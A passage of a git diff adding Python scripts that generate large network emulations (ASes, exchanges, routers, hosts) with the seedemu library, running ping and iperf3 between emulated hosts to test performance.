nets: {}'.format(netCount)) + + if not yes: + input('Press [Enter] to continue, or ^C to exit ') + + aac = AddressAssignmentConstraint(hostStart = 2, hostEnd = 255, hostStep = 1, routerStart = 1, routerEnd = 2, routerStep = 0) + + assert asCount <= 4096, 'too many ASes.' + assert ixCount <= 2048, 'too many IXs.' + assert hostEachNet <= 253, 'too many hosts.' + assert routerEachAs <= 256, 'too many routers.' + + emu = Emulator() + emu.addLayer(Routing()) + emu.addLayer(Ibgp()) + emu.addLayer(Ospf()) + + if hostService != None: + emu.addLayer(hostService) + + base = Base() + ebgp = Ebgp() + + ases: Dict[int, AutonomousSystem] = {} + asRouters: Dict[int, List[Router]] = {} + hosts: List[Node] = [] + routerAddresses: List[str] = [] + + # create ASes + for i in range(0, asCount): + asn = 5000 + i + asObject = base.createAutonomousSystem(asn) + + ases[asn] = asObject + asRouters[asn] = [] + + localNetPool = next(asNetworkPool).subnets(new_prefix = 24) + + # create host networks + for j in range(0, routerEachAs): + prefix = next(localNetPool) + netname = 'net{}'.format(j) + asObject.createNetwork(netname, str(prefix), aac = aac) + + router = asObject.createRouter('router{}'.format(j)) + router.joinNetwork(netname) + routerAddresses.append(str(next(prefix.hosts()))) + + asRouters[asn].append(router) + + # create hosts + for k in range(0, hostEachNet): + hostname = 'host{}_{}'.format(j, k) + host = asObject.createHost(hostname) + host.joinNetwork(netname) + + if hostService != None: + vnode = 'as{}_{}'.format(asn, hostname) + hostService.install(vnode) + emu.addBinding(Binding(vnode, action = Action.FIRST, filter = Filter(asn = asn, nodeName = hostname))) + + hosts.append(host) + + for file in hostFiles: + path, body = file.get() + host.setFile(path, body) + + routers = asRouters[asn] + + # link routers + for i in range (1, len(routers)): + linkname = 'link_{}_{}'.format(i - 1, i) + asObject.createNetwork(linkname, str(next(linkNetworkPool))) + routers[i - 1].joinNetwork(linkname) + routers[i].joinNetwork(linkname) + + lastRouter = None + asnPtr = 5000 + + ixMembers: Dict[int, Set[int]] = {} + + # create and join exchanges + for ix in range(1, ixCount + 1): + ixPrefix = next(ixNetworkPool) + ixHosts = ixPrefix.hosts() + ixNetName = base.createInternetExchange(ix, str(ixPrefix), rsAddress = str(next(ixHosts))).getPeeringLan().getName() + ixMembers[ix] = set() + + if lastRouter != None: + ixMembers[ix].add(lastRouter.getAsn()) + lastRouter.joinNetwork(ixNetName, str(next(ixHosts))) + + for i in range(1 if lastRouter != None else 0, asEachIx): + router = asRouters[asnPtr][0] + ixMembers[ix].add(router.getAsn()) + router.joinNetwork(ixNetName, str(next(ixHosts))) + + asnPtr += 1 + lastRouter = router + + # peerings + for ix, members in ixMembers.items(): + for a in members: + for b in members: + peers = ebgp.getPrivatePeerings().keys() + if a!= b and (ix, a, b) not in peers and (ix, b, a) not in peers: + ebgp.addPrivatePeering(ix, a, b, PeerRelationship.Unfiltered) + + # host commands + for host in hosts: + for cmd in hostCommands: + host.appendStartCommand(cmd.format( + randomRouterIp = choice(routerAddresses) + ), True) + + emu.addLayer(base) + emu.addLayer(ebgp) + + return emu + +def main(): + parser = argparse.ArgumentParser(description='Make an emulation with lots of networks.') + parser.add_argument('--ases', help = 'Number of ASes to generate.', required = True) + parser.add_argument('--ixs', help = 'Number of ASes in each IX.', required = True) + parser.add_argument('--routers', help = 'Number of routers in each AS.', required = True) + parser.add_argument('--hosts', help = 'Number of hosts in each AS.', required = True) + parser.add_argument('--web', help = 'Install web server on all hosts.', action = 'store_true') + parser.add_argument('--ping', help = 'Have all hosts randomly ping some router.', action = 'store_true') + parser.add_argument('--outdir', help = 'Output directory.', required = True) + parser.add_argument('--yes', help = 'Do not prompt for confirmation.', action = 'store_true') + + args = parser.parse_args() + + emu = createEmulation(int(args.ases), int(args.ixs), int(args.routers), int(args.hosts), WebService() if args.web else None, ['{{ while true; do ping {randomRouterIp}; done }}'] if args.ping else [], [], args.yes) + + emu.render() + emu.compile(Docker(selfManagedNetwork = True), args.outdir) + +if __name__ == '__main__': + main() diff --git a/test/performance/generator-2.py b/test/performance/generator-2.py new file mode 100755 index 000000000..8b3af823e --- /dev/null +++ b/test/performance/generator-2.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python3 + +from seedemu import * +from typing import List +import argparse + +TEST_SCRIPT = '''\ +#!/bin/bash + +# wait for b to go online (mostly waiting for routing convergence). +while ! ping -t255 -c10 {remote}; do sleep 1; done + +ping -c1000 -i.01 {remote} > /ping.txt +while ! iperf3 -c {remote} -t 60 > /iperf-tx.txt; do sleep 1; done +while ! iperf3 -Rc {remote} -t 60 > /iperf-rx.txt; do sleep 1; done + +touch /done +''' + +def createEmulation(asCount: int, chainLength: int) -> Emulator: + assert chainLength < 254, 'chain too long.' + emu = Emulator() + emu.addLayer(Routing()) + emu.addLayer(Ibgp()) + emu.addLayer(Ospf()) + + base = Base() + emu.addLayer(base) + + for asnOffset in range(0, asCount): + asn = 150 + asnOffset + + asObject = base.createAutonomousSystem(asn) + + nets: List[Network] = [] + lastNetName: str = None + + for netId in range(0, chainLength): + netName = 'net{}'.format(netId) + + net = asObject.createNetwork(netName) + nets.append(net) + + if lastNetName != None: + thisRouter = asObject.createRouter('router{}'.format(netId)) + + thisRouter.joinNetwork(netName) + thisRouter.joinNetwork(lastNetName) + + lastNetName = netName + + hostA = asObject.createHost('a') + hostB = asObject.createHost('b') + + netA = nets[0] + netB = nets[-1] + + addressA = netA.getPrefix()[100] + addressB = netB.getPrefix()[100] + + hostA.joinNetwork(nets[0].getName(), addressA) + hostB.joinNetwork(nets[-1].getName(), addressB) + + hostA.addSoftware('iperf3') + hostB.addSoftware('iperf3') + + hostA.appendStartCommand('sysctl -w net.ipv4.ip_default_ttl=255') + hostB.appendStartCommand('sysctl -w net.ipv4.ip_default_ttl=255') + + hostB.appendStartCommand('iperf3 -s -D') + + hostA.setFile('/test', TEST_SCRIPT.format(remote = addressB)) + hostA.appendStartCommand('chmod +x /test') + hostA.appendStartCommand('/test', True) + + return emu + + +def main(): + parser = argparse.ArgumentParser(description='Make an emulation with a ASes that has long hops and run ping and iperf across hosts.') + parser.add_argument('--ases', help = 'Number of ASes to generate.', required = True) + parser.add_argument('--hops', help = 'Number of hops between two hosts.', required = True) + parser.add_argument('--outdir', help = 'Output directory.', required = True) + + args = parser.parse_args() + + emu = createEmulation(int(args.ases), int(args.hops)) + + emu.render() + emu.compile(Docker(selfManagedNetwork = True), args.outdir) + +if __name__ == '__main__': + main()